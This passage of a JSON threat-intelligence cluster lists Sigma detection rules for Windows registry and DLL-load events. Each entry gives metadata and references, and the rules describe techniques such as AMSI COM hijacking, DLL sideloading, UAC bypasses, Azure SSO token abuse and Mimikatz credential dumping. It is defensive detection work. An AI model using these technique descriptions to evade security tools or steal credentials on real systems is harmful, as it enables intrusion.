"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "e2482f8d-3443-4237-b906-cc145d87a076", "value": "Disable Internal Tools or Feature in Registry" }, { "description": "Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/04", "falsepositive": [ "Unknown" ], "filename": "registry_set_amsi_com_hijack.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-comreg-bypass", "https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_amsi_com_hijack.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "160d2780-31f7-4922-8b3a-efce30e63e96", "value": "Potential AMSI COM Server Hijacking" }, { "description": "Detects when an attacker register a new IFilter for an exntesion. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Legitimate registration of IFilters by the OS or software" ], "filename": "registry_set_persistence_ifilter.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/ifilters.html", "https://github.com/gtworek/PSBits/tree/master/IFilter", "https://twitter.com/0gtweet/status/1468548924600459267", "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_ifilter.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "b23818c7-e575-4d13-8012-332075ec0a2b", "value": "Register New IFiltre For Persistence" }, { "description": "Detects VBScript content stored into registry keys as seen being used by UNC2452 group", "meta": { "author": "Florian Roth", "creation_date": "2021/03/05", "falsepositive": [ "Unknown" ], "filename": "registry_set_vbs_payload_stored.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vbs_payload_stored.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "46490193-1b22-4c29-bdd6-5bf63907216f", "value": "VBScript Payload Stored in Registry" }, { "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/22", "falsepositive": [ "Unlikely" ], "filename": "registry_set_persistence_typed_paths.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/dez_/status/1560101453150257154", "https://forensafe.com/blogs/typedpaths.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "086ae989-9ca6-4fe7-895a-759c5544f247", "value": "Potential Persistence Via TypedPaths" }, { "description": "Detects changes to the \"ServiceDLL\" value related to a service in the registry. This is often used as a method of persistence.", "meta": { "author": "frack113", "creation_date": "2022/02/04", "falsepositive": [ "Administrative scripts", "Installation of a service" ], "filename": "registry_set_servicedll_hijack.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time", "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_servicedll_hijack.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "612e47e9-8a59-43a6-b404-f48683f45bd6", "value": "ServiceDll Hijack" }, { "description": "Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account)\nwanting to perform SSO authentication in the browser.\nAn attacker can use this to authenticate to Azure AD in a browser as that user.\n", "meta": { "author": "Den Iuzvyk", "creation_date": "2020/07/15", "falsepositive": [ "Unknown" ], "filename": "image_load_abusing_azure_browser_sso.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_abusing_azure_browser_sso.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1574.002" ] }, "uuid": "50f852e6-af22-4c78-9ede-42ef36aa3453", "value": "Abusing Azure Browser SSO" }, { "description": "Detects any assembly DLL being loaded by an Office Product", "meta": { "author": "Antonlovesdnb", "creation_date": "2020/02/19", "falsepositive": [ "Alerts on legitimate macro usage as well, will need to filter as appropriate" ], "filename": "image_load_susp_office_dotnet_assembly_dll_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_assembly_dll_load.yml" ], "tags": [ "attack.execution", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ff0f2b05-09db-4095-b96d-1b75ca24894a", "value": "dotNET DLL Loaded Via Office Applications" }, { "description": "Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/10/17", "falsepositive": [ "The command wmic os get lastboottuptime loads vbscript.dll", "The command wmic os get locale loads vbscript.dll", "Since the ImageLoad event doesn't have enough information in this case. It's better to look at the recent process creation events that spawned the WMIC process and investigate the command line and parent/child processes to get more insights" ], "filename": "image_load_wmic_remote_xsl_scripting_dlls.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://securitydatasets.com/notebooks/small/windows/05_defense_evasion/SDWIN-201017061100.html", "https://twitter.com/dez_/status/986614411711442944", "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml" ], "tags": [ "attack.defense_evasion", "attack.t1220" ] }, "related": [ { "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "06ce37c2-61ab-4f05-9ff5-b1a96d18ae32", "value": "WMIC Loading Scripting Libraries" }, { "description": "Detect usage of DLL \"coregen.exe\" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.", "meta": { "author": "frack113", "creation_date": "2022/12/31", "falsepositive": [ "Unknown" ], "filename": "image_load_lolbin_coregen.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Coregen/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_lolbin_coregen.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.t1055" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0fa66f66-e3f6-4a9c-93f8-4f2610b00171", "value": "Potential DLL Sideloading Using Coregen.exe" }, { "description": "Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool to tamper with Windows event logs", "meta": { "author": "Florian Roth", "creation_date": "2022/09/07", "falsepositive": [ "Other DLLs with that import hash" ], "filename": "image_load_sysmon_disable_sharpevtmute.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/bats3c/EvtMute", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_sysmon_disable_sharpevtmute.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "49329257-089d-46e6-af37-4afce4290685", "value": "SharpEvtMute Imphash EvtMuteHook Load" }, { "description": "Detects potential DLL sideloading using comctl32.dll to obtain system privileges", "meta": { "author": "Nasreddine Bencherchali, Subhash Popuri (@pbssubhash)", "creation_date": "2022/12/16", "falsepositive": [ "Unlikely" ], "filename": "image_load_side_load_comctl32.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt", "https://github.com/binderlabs/DirCreate2System", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_comctl32.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "6360757a-d460-456c-8b13-74cf0e60cceb", "value": "Potential DLL Sideloading Via comctl32.dll" }, { "description": "Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/06/24", "falsepositive": [ "Unknown" ], "filename": "image_load_wsman_provider_image_load.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/bohops/WSMan-WinRM", "https://twitter.com/chadtilbury/status/1275851297770610688", "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", "https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.lateral_movement", "attack.t1021.003" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ad1f4bb9-8dfb-4765-adb6-2a7cfb6c0f94", "value": "Suspicious WSMAN Provider Image Loads" }, { "description": "Detects DSParse DLL being loaded by an Office Product", "meta": { "author": "Antonlovesdnb", "creation_date": "2020/02/19", "falsepositive": [ "Alerts on legitimate macro usage as well, will need to filter as appropriate" ], "filename": "image_load_susp_office_dsparse_dll_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dsparse_dll_load.yml" ], "tags": [ "attack.execution", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a2a3b925-7bb0-433b-b508-db9003263cc4", "value": "Active Directory Parsing DLL Loaded Via Office Applications" }, { "description": "Detects the image load of vss_ps.dll by uncommon executables", "meta": { "author": "Markus Neis, @markus_neis", "creation_date": "2021/07/07", "falsepositive": [ "Unknown" ], "filename": "image_load_susp_vss_ps_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add", "https://twitter.com/am0nsec/status/1412232114980982787", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_ps_load.yml" ], "tags": [ "attack.defense_evasion", "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "333cdbe8-27bb-4246-bf82-b41a0dca4b70", "value": "Image Load of VSS_PS.dll by Uncommon Executable" }, { "description": "Attempts to load dismcore.dll after dropping it", "meta": { "author": "oscd.community, Dmitry Uchakin", "creation_date": "2020/10/06", "falsepositive": [ "Actions of a legitimate telnet client" ], "filename": "image_load_uac_bypass_via_dism.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://steemit.com/utopian-io/@ah101/uac-bypassing-utility", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_via_dism.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002", "attack.t1574.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a5ea83a7-05a5-44c1-be2e-addccbbd8c03", "value": "UAC Bypass With Fake DLL" }, { "description": "Detects processes loading modules related to PCRE.NET package", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/10/29", "falsepositive": [ "Unknown" ], "filename": "image_load_pcre_net_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://twitter.com/rbmaslen/status/1321859647091970051", "https://twitter.com/tifkin_/status/1321916444557365248", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pcre_net_load.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "84b0a8f3-680b-4096-a45b-e9a89221727c", "value": "PCRE.NET Package Image Load" }, { "description": "Detects any GAC DLL being loaded by an Office Product", "meta": { "author": "Antonlovesdnb", "creation_date": "2020/02/19", "falsepositive": [ "Alerts on legitimate macro usage as well, will need to filter as appropriate" ], "filename": "image_load_susp_office_dotnet_gac_dll_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_gac_dll_load.yml" ], "tags": [ "attack.execution", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "90217a70-13fc-48e4-b3db-0d836c5824ac", "value": "GAC DLL Loaded Via Office Applications" }, { "description": "Detects the \"iscsicpl.exe\" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/17", "falsepositive": [ "Unknown" ], "filename": "image_load_uac_bypass_iscsicpl.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC", "https://twitter.com/wdormann/status/1547583317410607110", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9ed5959a-c43c-4c59-84e3-d28628429456", "value": "UAC Bypass Using Iscsicpl - ImageLoad" }, { "description": "Detects CLR DLL being loaded by an Office Product", "meta": { "author": "Antonlovesdnb", "creation_date": "2020/02/19", "falsepositive": [ "Alerts on legitimate macro usage as well, will need to filter as appropriate" ], "filename": "image_load_susp_office_dotnet_clr_dll_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_clr_dll_load.yml" ], "tags": [ "attack.execution", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d13c43f0-f66b-4279-8b2c-5912077c1780", "value": "CLR DLL Loaded Via Office Applications" }, { "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/05/05", "falsepositive": [ "Very unlikely" ], "filename": "image_load_pingback_backdoor.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pingback_backdoor.yml" ], "tags": [ "attack.persistence", "attack.t1574.001" ] }, "uuid": "35a7dc42-bc6f-46e0-9f83-81f8e56c8d4b", "value": "Pingback Backdoor - Image" }, { "description": "Detects certain DLL loads when Mimikatz gets executed", "meta": { "author": "sigma", "creation_date": "2017/03/13", "falsepositive": [ "Unknown" ], "filename": "image_load_mimikatz_inmemory_detection.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://securityriskadvisors.com/blog/post/detecting-in-memory-mimikatz/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_mimikatz_inmemory_detection.yml" ], "tags": [ "attack.s0002", "attack.t1003", "attack.lateral_movement", "attack.credential_access", "car.2019-04-004" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c0478ead-5336-46c2-bd5e-b4c84bc3a36e", "value": "Mimikatz In-Memory" }, { "description": "Detects WMI command line event consumers", "meta": { "author": "Thomas Patzke", "creation_date": "2018/03/07", "falsepositive": [ "Unknown (data set is too small; further testing needed)" ], "filename": "image_load_wmi_persistence_commandline_event_consumer.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_persistence_commandline_event_consumer.yml" ], "tags": [ "attack.t1546.003", "attack.persistence" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "05936ce2-ee05-4dae-9d03-9a391cf2d2c6", "value": "WMI Persistence - Command Line Event Consumer" }, { "description": "Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/01", "falsepositive": [ "FP could occure if the legitimate version of vmGuestLib already exists on the system" ], "filename": "image_load_side_load_vmguestlib.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://decoded.avast.io/martinchlumecky/png-steganography/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmguestlib.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "70e8e9b4-6a93-4cb7-8cde-da69502e7aff", "value": "VMGuestLib DLL Sideload" }, { "description": "Detects DLL sideloading of system dlls that are not present on the system by default. Usualy to achieve techniques such as UAC bypass and privilege escalation", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/09", "falsepositive": [ "Unknown" ], "filename": "image_load_side_load_non_existent_dlls.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html", "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/", "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/", "https://decoded.avast.io/martinchlumecky/png-steganography/", "https://github.com/Wh04m1001/SysmonEoP", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_non_existent_dlls.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "6b98b92b-4f00-4f62-b4fe-4d1920215771", "value": "Potential DLL Sideloading Of Non-Existent DLLs From System Folders" }, { "description": "Detects DLL sideloading of DLLs that are part of web browsers", "meta": { "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", "creation_date": "2022/08/17", "falsepositive": [ "Unknown" ], "filename": "image_load_side_load_web_browsers.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://hijacklibs.net/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_web_browsers.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "72ca7c75-bf85-45cd-aca7-255d360e423c", "value": "Web Browsers DLL Sideloading" }, { "description": "Detects DLL sideloading of \"dbgcore.dll\"", "meta": { "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", "creation_date": "2022/10/25", "falsepositive": [ "Legitimate applications loading their own versions of the DLL mentioned in this rule" ], "filename": "image_load_side_load_dbgcore_dll.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://hijacklibs.net/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "9ca2bf31-0570-44d8-a543-534c47c33ed7", "value": "DLL Sideloading Of DBGCORE.DLL" }, { "description": "Detects the image load of VSS DLL by uncommon executables", "meta": { "author": "frack113", "creation_date": "2022/10/31", "falsepositive": [ "Unknown" ], "filename": "image_load_susp_vss_dll_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/ORCx41/DeleteShadowCopies", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_dll_load.yml" ], "tags": [ "attack.defense_evasion", "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "37774c23-25a1-4adb-bb6d-8bb9fd59c0f8", "value": "Image Load of VSS Dll by Uncommon Executable" }, { "description": "Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor", "meta": { "author": "frack113", "creation_date": "2022/12/14", "falsepositive": [ "Unknown" ], "filename": "image_load_side_load_jsschhlp.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/", "http://www.windowexe.com/bbs/board.php?q=jsschhlp-exe-c-program-files-common-files-justsystem-jsschhlp-jsschhlp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_jsschhlp.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "68654bf0-4412-43d5-bfe8-5eaa393cd939", "value": "Potential DLL Sideloading Via JsSchHlp" }, { "description": "Detects SILENTTRINITY stager use", "meta": { "author": "Aleksey Potapov, oscd.community", "creation_date": "2019/10/22", "falsepositive": [ "Unknown" ], "filename": "image_load_silenttrinity_stage_use.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/byt3bl33d3r/SILENTTRINITY", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_silenttrinity_stage_use.yml" ], "tags": [ "attack.command_and_control", "attack.t1071" ] }, "related": [ { "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "75c505b1-711d-4f68-a357-8c3fe37dbf2d", "value": "SILENTTRINITY Stager Execution - DLL" }, { "description": "A General detection for processes loading System.Drawing.ni.dll. This could be an indicator of potential Screen Capture.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Unknown" ], "filename": "image_load_susp_system_drawing_load.yml", "level": "low", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/OTRF/detection-hackathon-apt29/issues/16", "https://threathunterplaybook.com/evals/apt29/detections/7.A.1_3B4E5808-3C71-406A-B181-17B0CE3178C9.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_system_drawing_load.yml" ], "tags": [ "attack.collection", "attack.t1113" ] }, "uuid": "666ecfc7-229d-42b8-821e-1a8f8cb7057c", "value": "Suspicious System.Drawing Load" }, { "description": "Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)", "meta": { "author": "Nasreddine Bencherchali, Wietze Beukema (project and research), Chris Spehn (research WFH Dridex), XForceIR (SideLoadHunter Project)", "creation_date": "2022/08/14", "falsepositive": [ "Legitimate applications loading their own versions of the DLLs mentioned in this rule" ], "filename": "image_load_side_load_from_non_system_location.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", "https://hijacklibs.net/", "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md", "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "4fc0deee-0057-4998-ab31-d24e46e0aba4", "value": "Potential System DLL Sideloading From Non System Locations" }, { "description": "Detects cmstp loading \"dll\" or \"ocx\" files from suspicious locations", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/30", "falsepositive": [ "Unikely" ], "filename": "image_load_susp_cmstp.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_cmstp.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.003" ] }, "related": [ { "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "75e508f7-932d-4ebc-af77-269237a84ce1", "value": "Cmstp Suspicious DLL Load" }, { "description": "Detects Kerberos DLL being loaded by an Office Product", "meta": { "author": "Antonlovesdnb", "creation_date": "2020/02/19", "falsepositive": [ "Alerts on legitimate macro usage as well, will need to filter as appropriate" ], "filename": "image_load_susp_office_kerberos_dll_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_kerberos_dll_load.yml" ], "tags": [ "attack.execution", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7417e29e-c2e7-4cf6-a2e8-767228c64837", "value": "Active Directory Kerberos DLL Loaded Via Office Applications" }, { "description": "Detects the load of 